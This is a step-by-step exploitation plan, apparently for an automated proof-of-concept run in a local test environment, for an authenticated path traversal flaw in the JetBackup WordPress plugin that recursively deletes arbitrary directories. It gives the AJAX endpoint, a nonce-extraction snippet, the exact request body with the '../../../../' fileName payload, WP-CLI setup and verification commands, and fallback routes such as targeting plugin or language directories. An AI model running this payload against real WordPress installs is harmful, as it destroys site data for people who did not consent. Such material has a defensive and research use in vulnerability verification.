JetBackup <= 3.1.19.8 - Authenticated (Administrator+) Arbitrary Directory Deletion via Path Traversal in 'fileName' Parameter

This research plan outlines the steps to exploit a Path Traversal vulnerability in JetBackup <= 3.1.19.8, which allows an authenticated administrator to delete arbitrary directories on the WordPress server.

1. Vulnerability Summary

• Vulnerability: Path Traversal leading to Arbitrary Directory Deletion.
• Location: The fileName parameter in the file upload handler, specifically used in Upload::getFileLocation() and cleaned up via Util::rm(dirname(...)).
• Cause: The plugin uses sanitize_text_field() on the fileName parameter. While this removes HTML tags, it does not strip path traversal sequences (../). The resulting path is concatenated without validation or basename(). When the plugin determines the "uploaded" file is invalid (e.g., not a .tar or .tar.gz file), it attempts to clean up by recursively deleting the parent directory of the resolved path.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: jetbackup (The plugin routes its AJAX calls through this central action).
• Sub-action (Call): Upload (Inferred from the pattern seen in src/JetBackup/Ajax/Calls/AddToQueue.php).
• Vulnerable Parameter: fileName
• Authentication: Required (Administrator or higher).
• Preconditions: A valid nonce for the jetbackup action must be obtained.

3. Code Flow

1. Entry Point: An authenticated administrator sends a POST request to admin-ajax.php?action=jetbackup with call=Upload.
2. Input Processing: src/JetBackup/Ajax/Calls/Upload::execute() (inferred) retrieves the fileName using a wrapper around sanitize_text_field().
3. Path Resolution: The plugin calls JetBackup\Upload\Upload::getFileLocation(), which concatenates a base temporary directory with the user-provided fileName (e.g., wp-content/uploads/jetbackup/temp/ + ../../../../wp-content/plugins/poc.txt).
4. Validation Failure: The plugin checks if the file is a valid backup (.tar or .tar.gz). If the payload sent is plain text or invalid, validation fails.
5. Triggering Sink: Upon validation failure, the plugin attempts to clean up the temporary data. It calls dirname() on the resolved traversal path: dirname('/var/www/html/wp-content/plugins/poc.txt') → /var/www/html/wp-content/plugins/.
6. The Sink: The resulting directory path is passed to JetBackup\Entities\Util::rm(), which recursively deletes the entire directory.

4. Nonce Acquisition Strategy

JetBackup localizes its configuration and nonces into a JavaScript object named window.PAGE.

1. Identify Trigger: The plugin scripts load on the JetBackup admin pages. The main slug is backup.
2. Navigation: Use browser_navigate to /wp-admin/admin.php?page=backup.
3. Extraction: Execute JavaScript to retrieve the nonce:

   browser_eval("window.PAGE?.nonce")
   

4. Verification: Check if window.PAGE.nonce exists. If not, check for other keys like window.PAGE.ajax_nonce or window.JB_NONCE.

5. Exploitation Strategy

We will target a dummy directory in the uploads folder to avoid breaking the test environment.

Step 1: Test Data Setup

Create a target directory and a file inside it to verify deletion.

wp eval "wp_mkdir_p(WP_CONTENT_DIR . '/uploads/exploit-target/subdir');"
wp eval "file_put_contents(WP_CONTENT_DIR . '/uploads/exploit-target/poc.txt', 'test');"

Step 2: Obtain Nonce

Navigate to the JetBackup dashboard and extract the nonce as described in Section 4.

Step 3: Trigger Directory Deletion

Send a POST request to the AJAX endpoint with the traversal payload. We will simulate a chunked upload completion with an invalid file to trigger the cleanup logic.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=jetbackup
  call=Upload
  nonce=[NONCE]
  fileName=../../../../wp-content/uploads/exploit-target/poc.txt
  fileUploadId=exploit_session_01
  fileSize=10
  chunk=bm90X2FfdGFyX2ZpbGU=
  isLastChunk=1
  

  (Note: chunk is base64 for "not_a_tar_file". isLastChunk=1 ensures the validation and subsequent cleanup logic are triggered).

6. Expected Results

• Response: The server should return a JSON response, likely containing an error message from exceptions.json: "Invalid backup file provided. Only .tar or .tar.gz files are allowed.".
• Filesystem Impact: The directory /wp-content/uploads/exploit-target/ and all its contents (including poc.txt) should be recursively deleted.

7. Verification Steps

After the HTTP request, verify the directory is gone using WP-CLI:

# This should return an error or empty if the directory was deleted
wp eval "echo is_dir(WP_CONTENT_DIR . '/uploads/exploit-target') ? 'exists' : 'deleted';"

8. Alternative Approaches

If the Upload call is not directly accessible or different parameters are required:

1. Target AddToQueue: Use action=jetbackup&call=AddToQueue. Provide type=2 (Restore), fileName with traversal, and a fileUploadId. The _queueRestore() method might trigger the same Upload object logic when it fails to find a valid backup at the traversed path.
2. Target Plugin Directory: If the dummy directory approach fails, target a non-essential directory like wp-content/languages/plugins to prove impact.
3. Check for fileManager parameters: Some versions of JetBackup use a fileManager array in AddToQueue. If the upload path fails, try injecting the traversal into folderList[] or fileManager[] parameters used during extraction/cleanup phases.